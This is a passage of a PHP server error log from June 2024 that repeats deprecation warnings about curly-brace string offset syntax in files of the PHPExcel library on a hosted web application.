/home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Exception.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Exception.php on line 28 [17-Jun-2024 01:20:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [17-Jun-2024 01:20:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [17-Jun-2024 01:20:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [17-Jun-2024 01:20:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [17-Jun-2024 01:20:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [17-Jun-2024 01:20:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [17-Jun-2024 01:20:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 162 [17-Jun-2024 01:20:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 184 [17-Jun-2024 01:20:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 185 [17-Jun-2024 01:20:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 194 [17-Jun-2024 01:20:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 204 [17-Jun-2024 01:20:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 205 [17-Jun-2024 01:20:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 212 [17-Jun-2024 01:20:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 222 [17-Jun-2024 01:20:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 225 [17-Jun-2024 01:20:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 233 [17-Jun-2024 01:20:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 244 [17-Jun-2024 01:20:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 246 [17-Jun-2024 01:20:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 247 [17-Jun-2024 01:20:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 257 [17-Jun-2024 01:20:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 268 [17-Jun-2024 01:20:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 279 [17-Jun-2024 01:20:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 286 [17-Jun-2024 01:20:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 299 [17-Jun-2024 01:20:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 318 [17-Jun-2024 01:20:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 340 [17-Jun-2024 01:20:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 361 [17-Jun-2024 01:20:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 368 [17-Jun-2024 01:20:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 388 [17-Jun-2024 01:20:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 393 [17-Jun-2024 01:20:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 399 [17-Jun-2024 01:20:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 404 [17-Jun-2024 01:20:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 410 [17-Jun-2024 01:20:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 426 [17-Jun-2024 01:20:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 447 [17-Jun-2024 01:20:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 463 [17-Jun-2024 01:20:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Functions.php on line 321 [17-Jun-2024 01:20:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Functions.php on line 324 [17-Jun-2024 01:20:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Functions.php on line 562 [17-Jun-2024 01:20:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Functions.php on line 612 [17-Jun-2024 01:20:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [17-Jun-2024 01:20:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [17-Jun-2024 01:20:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [17-Jun-2024 01:20:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [17-Jun-2024 01:20:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [17-Jun-2024 01:20:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [17-Jun-2024 01:20:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [17-Jun-2024 01:20:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [17-Jun-2024 01:20:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [17-Jun-2024 01:20:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [17-Jun-2024 01:20:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [17-Jun-2024 01:20:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [17-Jun-2024 01:20:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [17-Jun-2024 01:20:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [17-Jun-2024 01:20:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [17-Jun-2024 01:20:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [17-Jun-2024 01:20:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [17-Jun-2024 01:20:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [17-Jun-2024 01:20:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [17-Jun-2024 01:20:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [17-Jun-2024 01:20:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [17-Jun-2024 01:20:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [17-Jun-2024 01:20:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [17-Jun-2024 01:20:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [17-Jun-2024 01:20:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [17-Jun-2024 01:20:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [17-Jun-2024 01:20:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [17-Jun-2024 01:20:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [17-Jun-2024 01:20:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [17-Jun-2024 01:20:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [17-Jun-2024 01:20:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 43 [17-Jun-2024 01:20:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 43 [17-Jun-2024 01:20:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 44 [17-Jun-2024 01:20:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 45 [17-Jun-2024 01:20:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 45 [17-Jun-2024 01:20:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 46 [17-Jun-2024 01:20:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 46 [17-Jun-2024 01:20:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 47 [17-Jun-2024 01:20:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 47 [17-Jun-2024 01:20:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 48 [17-Jun-2024 01:20:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 48 [17-Jun-2024 01:20:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 48 [17-Jun-2024 01:20:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 49 [17-Jun-2024 01:20:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 49 [17-Jun-2024 01:20:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 50 [17-Jun-2024 01:20:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 50 [17-Jun-2024 01:20:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 50 [17-Jun-2024 01:20:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 50 [17-Jun-2024 01:20:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 51 [17-Jun-2024 01:20:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 51 [17-Jun-2024 01:20:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [17-Jun-2024 01:20:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [17-Jun-2024 01:20:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [17-Jun-2024 01:20:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [17-Jun-2024 01:20:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [17-Jun-2024 01:20:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 53 [17-Jun-2024 01:20:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 53 [17-Jun-2024 01:20:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [17-Jun-2024 01:20:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [17-Jun-2024 01:20:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [17-Jun-2024 01:20:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [17-Jun-2024 01:20:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [17-Jun-2024 01:20:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [17-Jun-2024 01:20:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 55 [17-Jun-2024 01:20:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 55 [17-Jun-2024 01:20:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [17-Jun-2024 01:20:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [17-Jun-2024 01:20:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [17-Jun-2024 01:20:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [17-Jun-2024 01:20:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [17-Jun-2024 01:20:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [17-Jun-2024 02:52:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 162 [17-Jun-2024 02:52:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 184 [17-Jun-2024 02:52:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 185 [17-Jun-2024 02:52:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 194 [17-Jun-2024 02:52:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 204 [17-Jun-2024 02:52:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 205 [17-Jun-2024 02:52:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 212 [17-Jun-2024 02:52:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 222 [17-Jun-2024 02:52:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 225 [17-Jun-2024 02:52:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 233 [17-Jun-2024 02:52:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 244 [17-Jun-2024 02:52:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 246 [17-Jun-2024 02:52:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 247 [17-Jun-2024 02:52:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 257 [17-Jun-2024 02:52:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 268 [17-Jun-2024 02:52:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 279 [17-Jun-2024 02:52:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 286 [17-Jun-2024 02:52:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 299 [17-Jun-2024 02:52:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 318 [17-Jun-2024 02:52:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 340 [17-Jun-2024 02:52:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 361 [17-Jun-2024 02:52:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 368 [17-Jun-2024 02:52:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 388 [17-Jun-2024 02:52:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 393 [17-Jun-2024 02:52:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 399 [17-Jun-2024 02:52:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 404 [17-Jun-2024 02:52:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 410 [17-Jun-2024 02:52:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 426 [17-Jun-2024 02:52:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 447 [17-Jun-2024 02:52:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 463 [17-Jun-2024 02:54:17 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [17-Jun-2024 02:54:17 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [17-Jun-2024 02:54:17 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [17-Jun-2024 02:54:17 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [17-Jun-2024 02:54:17 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [17-Jun-2024 02:54:17 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [17-Jun-2024 03:07:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 771 [17-Jun-2024 03:07:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 771 [17-Jun-2024 03:07:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 812 [17-Jun-2024 03:07:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 815 [17-Jun-2024 03:07:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 818 [17-Jun-2024 03:07:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 821 [17-Jun-2024 03:07:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [17-Jun-2024 03:07:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [17-Jun-2024 03:07:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [17-Jun-2024 03:07:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [17-Jun-2024 03:07:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [17-Jun-2024 03:07:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [17-Jun-2024 03:09:17 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [17-Jun-2024 03:09:17 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [17-Jun-2024 03:09:17 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [17-Jun-2024 03:09:17 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [17-Jun-2024 03:09:17 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in 